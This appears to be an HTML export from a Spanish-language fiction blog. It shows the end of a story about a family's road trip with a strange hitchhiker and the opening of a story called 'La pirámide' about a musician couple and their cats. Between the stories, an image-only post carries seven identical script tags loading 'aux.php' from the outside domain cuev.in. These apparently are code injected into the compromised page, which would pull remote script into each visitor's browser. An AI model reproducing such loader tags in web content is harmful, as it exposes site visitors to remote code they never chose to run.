el mundo de distintas e irreconciliables maneras.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>—Sos tan predecible —dijo Lucía sin
mirar a nadie, pero todos sabían de quién hablaba.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Pasada la lluvia, la ruta no ofrecía
ninguna distracción. Vicente luchaba por quedarse despierto en la monotonía del
camino. Pestañeó varias veces cuando vio un punto negro en la lejanía. Pensó en
un insecto, pero literalmente no volaba una mosca en aquel desierto, el vidrio
del parabrisas estaba inmaculado. Se frotó los ojos. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¡No hay vida en este desierto! —Lucía
rompió el silencio, como si le estuviera leyendo la mente. Muy rápido se dio
cuenta de lo desafortunado de su comentario frente al perro moribundo, que respiraba
pero aún no había recobrado la conciencia. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—No vuela ni una mosca.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Lucía también había visto el punto que fue
creciendo a medida que avanzaban sobre la ruta hasta convertirse en un hombre
de carne y hueso. Un bulto a sus pies, su equipaje. Estiraba su brazo
perpendicular a su cuerpo, con la mano hecha puño y el dedo pulgar señalando
hacia la ruta por venir. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—<span style="mso-spacerun: yes;">
</span>¿Podemos levantarlo? —Manuel rompió el silencio.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¿Estás loco? Si él sube yo me bajo —dijo
Cecilia.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">A Lucía, preocupada por el perro y por el
gato, ni se le ocurrió cuán lejos podría llegar el malestar de su marido.
Vicente ya estaba decidido y nada iba a cambiar su parecer. Desaceleró el motor
hasta frenar unos metros adelante del hombre. Era flaco, con pantalones negros
muy apretados al cuerpo, y tenía el pelo oscuro, largo y lleno de rulos. Corría
como un animal.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Abrí la puerta —le dijo Vicente<span style="mso-spacerun: yes;"> </span>a su hija mirándola por el espejo retrovisor.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Ella no hizo nada, estaba paralizada con
el perro en brazos. Parecía que el extraño nunca llegaría, que el tiempo podía
detenerse en esos pasos, perpetuarlos para siempre bajo el rayo del sol y entre
el humo que manaba de la tierra mojada. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¡Gracias! —dijo el hombre recuperando el
aliento. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Soy Vicente Solano —le extendió la mano. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Cecilia sentía vergüenza de su papá cuando
quería hacerse el gracioso.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Soy Jarry.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Los ojos de Lucía se encontraron con los
de su marido. Era el nombre más ridículo que había escuchado en su vida, sin
dudas inventado. Si no hubiesen estado enemistados, esa hubiera sido la ocasión
perfecta para sonreírle, buscar su mano y aguantar la risa juntos.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¿Qué hora es? —preguntó Jarry sacando un
pequeño anotador de cuero marrón del bolsillo de su camisa. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Estiró el elástico que lo mantenía
cerrado. Al moverse, su olor a cigarrillo y desodorante se repartió por el
auto. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Son las doce y media —Manuel aprovechó su
oportunidad para entrar en la conversación.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— Mhm, las doce y media. Muy bien.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Jarry hizo cuentas en su cabeza y anotó
algo en su cuaderno, lo cerró, lo envolvió con el elástico y lo volvió a
guardar en su bolsillo. La atención de todos los Solano estaba sobre él. Miró a
Cecilia a los ojos. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Necesito llegar a la próxima estación de
servicio. Sin cigarrillos me vuelvo loco. —Esta vez miraba a Vicente a través
del espejo.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— Yo también —dijo Cecilia.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Todos se rieron menos Jarry. No era fácil
entablar una conversación con él, había algo intimidante en su mirada y en su
dominio de su cuerpo, el reposo de sus manos blancas enormes sobre sus
rodillas, la nariz invasiva y el tamaño descomunal de su cabeza con pelo. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;"><span style="mso-spacerun: yes;"> </span>El
Chevette se movía sobre la ruta como un tiburón en aguas profundas. El cuenta
kilómetros marcó los trescientos mil. Lucía sacó el mapa de la guantera y lo
empezó a desplegar sobre su regazo. Cincuenta kilómetros más adelante, por la
misma ruta, encontrarían una estación de servicio con baños y un restaurante.
Intentó volver a doblar el mapa pero era imposible reproducir los pliegues
originales, terminó por hacerlo de cualquier manera y meterlo en la guantera
hecho un bollo. Habían vuelto al silencio, Jarry dormía con la cabeza hacia
atrás y la boca abierta. Parecía que soñaba porque tenía pequeños exabruptos,
en uno de sus saltos le pegó una patada al Apestoso, que todavía dormía sobre
la toalla. Cada tanto balbuceaba. Se rascaba el brazo sin parar. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">El sol del mediodía ya había empezado a
aflojar y adentro del Chevette la temperatura mejoraba. Avanzaban sobre los
kilómetros sin cruzarse con ningún otro automóvil ni ser humano. Cecilia estaba
ansiosa por llegar, Jarry ocupaba gran parte del asiento y era un torso dormido
apoyado sobre ella. Abrió los ojos de repente y habló.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Me están matando los mosquitos —dijo.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Lucía y Vicente volvieron a cruzar
miradas. Él era el encargado de mantener a la familia en calma. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¡Cómo me comería una milanesa con
fritas! ¿Y vos, Cecilia?<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Yo unos ñoquis con pesto.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Yo un asado. —Manuel esperaba hacía horas
que se cruzaran con una parrilla.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Patitas de pollo —agregó Lucía.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">El único que no respondió fue Jarry.
Miraba por la ventana. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¿Sabían que el cielo, en verdad, no es
de color azul? Si lo pensamos bien, los colores son una percepción del ojo
humano —insistió Vicente.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— Yo lo veo azul.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— No importa lo que veas, lo que importa
es la verdad.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¿Para qué? Si toda la vida lo voy a ver
azul.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Jarry guardó silencio, el Apestoso había
apoyado la cabeza sobre su pie. Vicente subió el volumen de la radio. Lucía
revisaba con su mano izquierda el fondo de la cartera, sabía que en algún lado
había guardado el Rivotril. Cecilia cantaba una canción que iba escuchando con
los auriculares puestos.<i style="mso-bidi-font-style: normal;"> </i>Lucía
revisaba la cartera ahora con ambas manos, sabía que había cometido un error
grave, que el Morado no se la iba a perdonar. Su familia tampoco. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Vicente seguía hablando solo sobre cosas
acerca de las cuales no tenía idea. Temas que tocaba de oído, sobre los que
había mirado algún que otro documental. El cosmos, el origen de la vida, la
construcción de aeronaves. Los demás se volvieron inmunes al sonido de su voz.
Lucía sostenía el saco con una mano y la manija de la puerta con la otra.
Necesitaba escapar, pensó en arrojarse pero sabía que el golpe del viento le
cerraría la puerta en la cara. Esa no era la manera. Sintió una gota que le
cayó por el cuero cabelludo hasta la nuca. Encontró el Rivotril en el bolsillo
del saco.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Jarry y Vicente eran los únicos que
viajaban despiertos. Jarry podía verlo por el espejo, pero no al revés.
Vicente, pensando que todos dormían, se sacaba los mocos de la nariz con el
dedo y los dejaba volar por la ventana. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">La luz del agua se encendió en el tablero
y luego la de la temperatura. El velocímetro empezó a descender hasta llegar a
cero kilómetros por hora mientras se seguían deslizando por la ruta. Giró el
volante y encaró hacia la banquina antes de que frenaran del todo. Intentó
apagar y encender el motor varias veces, solo se escuchó el ruido de un
Chevette ahogado. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Jarry tosió y Vicente acomodó el espejo
para poder verlo. Se sorprendió de que estuviera despierto y se preguntó hacía
cuanto que lo estaba. No dijo nada, no era él con quien debía hablar. Sacudió a
Lucía por el hombro, estaba más dormida de lo que parecía, giró la cabeza hacia
el otro lado pero él insistió. Ella abrió los ojos y pensó, primero, que habían
llegado a casa. Se alarmó cuando empezó a darse cuenta de que no. El polvo, la
ruta vacía, el sol que empezaba a caer, el pastizal rodeado de árboles secos,
la actitud del Chevette, todo le daba mal augurio. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;"><span style="mso-spacerun: yes;"> </span>Vicente salió del auto mientras su esposa
despertaba a los hijos. La presencia de Jarry lo ponía de mal humor, y que se
le quedara el auto en frente de otro hombre lo incomodaba. Abrió el capot y el
humo negro le envolvió la cara, tosía y sacudía los brazos. No había manera que
tocara nada de ese motor.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¿Te ayudo?<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Jarry había bajado del auto y ahora estaba
de pie junto a él, sus rulos volando al viento, siendo testigo de la debacle
del Chevette. Era el momento más vergonzoso de su larga vida juntos. Sin
responderle, Vicente bajó el capot, lo trabó y desde la ventana le habló a
Lucía.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Tenemos que caminar.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Tenía los ojos desorbitados, gotas de
sudor cayéndole por la frente, manchas negras por toda la cara. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Parecés un oso panda. —Cecilia se rio con
crueldad sabiendo que su comentario no sería bienvenido. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Lucía salió del auto, con la mano le indicó
a sus hijos que salieran también. Estaba nerviosa y todos lo sabían, nunca
nadie quería cruzarla cuando estaba nerviosa. Cecilia y Manuel obedecieron.
Cecilia llevaba al perro desmayado en brazos, tenía toda la remera blanca
cubierta de sangre.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¡Dejá ese perro acá!<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Vicente dio la vuelta al auto, esquivando
a Jarry en el camino, y abrazó a su mujer. El corazón le latía fuerte, odiaba
los inconvenientes, tenía ganas de llorar como un bebé. Cecilia metió al perro
adentro del auto antes de que alguien la viera, de ninguna manera lo dejaría de
vuelta en la ruta.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—La próxima estación queda a cinco
kilómetros —Jarry insistía en ser escuchado.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Lucía abrió la guantera y empezó a estirar
el mapa sobre el costado del auto. Encontró la ubicación donde estaban. Siguió
el trazo de la ruta a través de la hoja, ni una estación en kilómetros y
kilómetros a la redonda. Vicente la miró increpándola, esperando que dijera
algo para desautorizar a Jarry.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Es cierto — dijo ella—, hay una estación
acá cerca.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Cuando finalmente se animaron a cruzar por
el pastizal, la mitad del sol estaba escondida entre las montañas. Los rayos se
marcaban en el cielo sobre las nubes. Cecilia pensaba en el perro, le había
dejado la ventana un poco abierta para evitar que se le acabara el aire. Manuel
seguía a su padre y a Jarry con la mirada: iban en silencio más adelante, al
mismo paso, ninguno dejaba que el otro se le adelantara. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Caminaron durante media hora, nadie sabía
qué decir. Cuando se escondió el último rayo del sol, Vicente frenó de golpe.
Los pastos a su alrededor lo cubrieron pronto y era difícil ver su expresión de
desasosiego. Se daba por vencido, todo en su lenguaje corporal lo decía a
gritos. Jarry tomó el mando al empezar a caminar delante, los demás lo
siguieron. Vicente iba con la cabeza gacha y le tomó un tiempo empezar a pensar
de nuevo. La noche cerraba sus puertas con ellos dentro. El pasto empezaba a
engrosarse, y debajo de los pies, el barro se sentía arenoso. Jarry seguía su
camino decidido. Vicente agarró a Lucía de la mano y la tiró hacia atrás.
Recién entonces levantó la mirada. Era demasiado tarde para seguir por ahí con
los chicos.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Vicente le suplicaba con los ojos, ella
sabía que tendrían que volver. Fingió que se tropezaba con una rama y se tiró
al piso.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¡No puedo seguir caminando!<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Todos acordaron que Lucía volvería al auto
con Cecilia y Manuel, Vicente y Jarry seguirían camino en busca de ayuda. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Emprendieron el camino de inmediato, Lucía
iba adelante despejando el pasto en la oscuridad, avanzando sobre el matorral
con la fuerza de su instinto de supervivencia. No quería detenerse porque
perdería el rumbo, daría lugar al miedo para que los envenenara. Cecilia y
Manuel la seguían sin hablar. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="background: white; color: black;"><span style="mso-tab-count: 1;"> </span>Tardaron
media hora en llegar al auto. Lo encontraron como lo habían dejado: Cecilia
abrazo al perro que había recobrado un poco la conciencia y agradecía las
caricias, lo envolvió en la toalla. Lucía se sentó en el asiento del conductor
y encendió las luces delanteras. Estaba harta de la oscuridad. Manuel apoyó la
cabeza sobre el respaldo y se quedó dormido. Así estuvieron un buen rato, hasta
que la luz de los faroles empezó a titilar. Lucía las apagó por miedo a perder
la batería. Cecilia apoyó la cabeza sobre el lomo del Apestoso. Lucía reclinó
un poco su asiento y se puso a mirar las estrellas, cosa que solía hacer con el
Morado en su regazo. Vio la cima de los matorrales mecerse sobre el horizonte.
Se enderezó y encendió las luces nuevamente. El Apestoso levantó las orejas y
Cecilia retiró la mano que lo acariciaba, empezó a gruñir, las luces del
Chevette vacilaron. Todo seguía igual. Lucía apagó los faroles. El perro empezó
a ladrar, ella saltó del asiento y las volvió a encender. Se abrió un claro.
Lucía vio a Jarry salir del barral, las manos cubiertas de tierra. Caminaba
hacia el auto. Esperó ver a Vicente pero el claro se cerró y no apareció nadie
más. Los ladridos estaban descontrolados. Los faroles titilaron hasta apagarse
del todo. <o:p></o:p></span></div>
<br /></div>
</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-80474529458207781942018-07-16T11:06:00.002-07:002021-02-17T11:07:05.633-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_h6_m60OIDlAGa1hJI4ogz9kTN0DXhyphenhyphen6doJI_Do0S6ULLZ91dlrKV6YZhOvJ9fql1MAYskz0X8s0AsM0cuzaUDGC7g-5t6eK2tLL3ea2EHC3AFRpwvjISMPvUyT0ls928wg1JOw5eETWJ/s1600/2018-07-16+15.02.02.jpg" imageanchor="1"><img border="0" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_h6_m60OIDlAGa1hJI4ogz9kTN0DXhyphenhyphen6doJI_Do0S6ULLZ91dlrKV6YZhOvJ9fql1MAYskz0X8s0AsM0cuzaUDGC7g-5t6eK2tLL3ea2EHC3AFRpwvjISMPvUyT0ls928wg1JOw5eETWJ/s640/2018-07-16+15.02.02.jpg" width="640" /></a><br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-54213353781008599102018-07-16T10:54:00.003-07:002021-02-17T11:07:05.670-08:00La pirámide<div dir="ltr" style="text-align: left;" trbidi="on">
<div align="right" style="margin-bottom: .0001pt; margin: 0cm; text-align: right;">
<div align="center" style="margin-bottom: .0001pt; margin: 0cm; text-align: center;">
<u><span lang="EN-US">La Pirámide<o:p></o:p></span></u></div>
<div align="right" style="margin: 0cm 0cm 0.0001pt;">
<br /></div>
<div align="right" style="margin: 0cm 0cm 0.0001pt;">
<i><span lang="EN-US">If you pass me by,<o:p></o:p></span></i></div>
<div align="right" style="margin: 0cm 0cm 0.0001pt;">
<i><span lang="EN-US">Three hearts will break in two<o:p></o:p></span></i></div>
<div align="right" style="margin: 0cm 0cm 0.0001pt;">
<i><span lang="EN-US">´Cause me, myself and I<o:p></o:p></span></i></div>
<div align="right" style="margin: 0cm 0cm 0.0001pt;">
<i><span lang="EN-US">Are all in love with you.<o:p></o:p></span></i></div>
<div align="right" style="margin: 0cm 0cm 0.0001pt;">
<span lang="EN-US">Billie Holiday, ´Me,
myself and I´<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<span lang="EN-US"> </span><br />
<span style="text-indent: 35.4pt;">Javier
sabía que a Gabriela no le iba a gustar el plan. Lo sabía, ¿por qué había
accedido? Habían pasado los años pero todavía no lograba corregir su gran defecto
de querer caerle bien a todo el mundo. Gabriela era todo lo contrario, a veces
le parecía que a ella le encantaba caer mal. Cuando encontraba la ocasión para
llevar la contra le brillaban los ojos. No iba a querer saber nada con la cena.
Cerró el libro y se miró en el espejo del living. Tenía la barba larga. Se
sonrió. </span><i style="text-indent: 35.4pt;">Sos un boludo</i><span style="text-indent: 35.4pt;">. Se golpeó la
cabeza con el libro. Estaba leyendo las Cartas a un joven poeta de Rilke, su
profesor de composición se lo había recomendado.</span><i style="text-indent: 35.4pt;"> Sos un flor de boludo. </i><span style="text-indent: 35.4pt;">Petra apareció por encima de su pelada,
subida al respaldo del sillón. En el espejo se vio disfrazado como hacía veinte
años en su fiesta de egresados del secundario. Batman. En aquel momento todavía
podía repetir su chiste sin vergüenza: </span><i style="text-indent: 35.4pt;">Batman
no, Batman sexy, </i><span style="text-indent: 35.4pt;">sonreía en la pista exhibiendo su tanga diminuta. El
recuerdo le trajo una carcajada que terminó en tos y una ola de angustia. Petra
se enroscó con una de sus zapatillas, estaba a punto de entrar en celo por
primera vez. Cuando la encontró en la calle era una bola le pelos tierna que
Javier podía sostener en la palma de su mano. Gabriela había accedido a que
viviera con ellos bajo la condición de que él se encargara de todo. Levantó la
cabeza y miró hacia la puerta, dos moscas volaban alrededor de las piedras
húmedas de Petra. En la bandeja había más caca que piedras. Javier volvió al libro.</span><br />
<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Dos horas más
tarde sonaron las campanas del atrapasueños que Gabriela había colgado al lado
de la puerta. Lo había hecho en un workshop durante un verano en San Marcos
Sierras. Javier lo odiaba, salvo en casos como este cuando le servía de alarma.
Bajó el libro y esperó a que apareciera ella en el living. Nada, después de las
campanas solo silencio. El gato blanco del vecino apareció por la medianera,
caminó despacio hasta la ventana donde se sentó con los ojos bien abiertos,
mirando fijo hacia adentro. Javier esquivó el contacto visual, tragó saliva con
esfuerzo, el invierno le achicaba la garganta. Petra se frotaba contra su pie con
más y más intensidad. La mancha gris sobre su lomo imitaba la propulsión de una
medusa. Dio una patada al aire para sacársela de encima. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Después de
cambiarse la ropa y de comer un par de cucharadas de miel de Del Viso, Gabriela
entró al living. Javier dormía sentado en el sillón, tenía un libro entre las
manos. La gata ronroneaba con violencia, clavándole las uñas al almohadón como
si quisiera abrirlo al medio. A través de la ventana vio a tres gatos que la
miraban fijo, el blanco de la vecina de atrás, Elaine, y un tricolor que no
reconoció. La tapa del piano estaba baja, las partituras del disco donde las había
dejado el día anterior. Una vez más, Javier no había ensayado. Gabriela se
lamentó, había sabido desde el primer momento que armar la banda con él no iba
a ser una buena idea. Javier era un buen pianista, quizás el mejor que conocía.
Una bestia. No practicaba nunca, pero en los ensayos estaba siempre a la
altura. Había llegado a generar un blando rencor entre sus amigos músicos que
lo conocían bien. Gabriela no quería trabajar más así, pero tener el piano
gratis para la grabación del disco le había permitido invertir en Pablo. Y Pablo
la rompía en la trompeta, todos lo sabían.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Cuándo vas a
llevar a castrar a esta gata? Está en celo— dijo ella casi gritando para
despertarlo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—No te escuché
entrar — respondió él con los ojos todavía cerrados. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Llegué hace
rato, ¿ensayaste? – Javier miró hacía el piano. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Un poco. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Mentira. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Tengo que
decirte algo. Algo mucho peor. Vino Lean esta mañana. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Javier, ¿y?<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Afuera hubo un
trueno y Gabriela buscó el cielo con la mirada. Al otro lado de la ventana, los
gatos rasgaban el vidrio con las garras pidiendo entrar. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Y, cuando se
estaba yendo, después de la clase, me dijo así nomás de venir a cenar. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Venir acá? <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Acá. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Se invitó a
cenar? <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—A él y a su
novia. Dijo que quería que estuvieras vos también, una cena así. El padre de la
novia tiene una pollería. Traen un pollo. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Llegó el
Malacara! – gritó Gabriela al ver al enorme gato negro acomodarse entre los
demás gatos contra la ventana. La miró fijo con su único ojo. – Por nada del
mundo abras esa ventana.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Petra lamía
incansablemente la pata de madera del sillón. Gabriela usaba ambas manos para
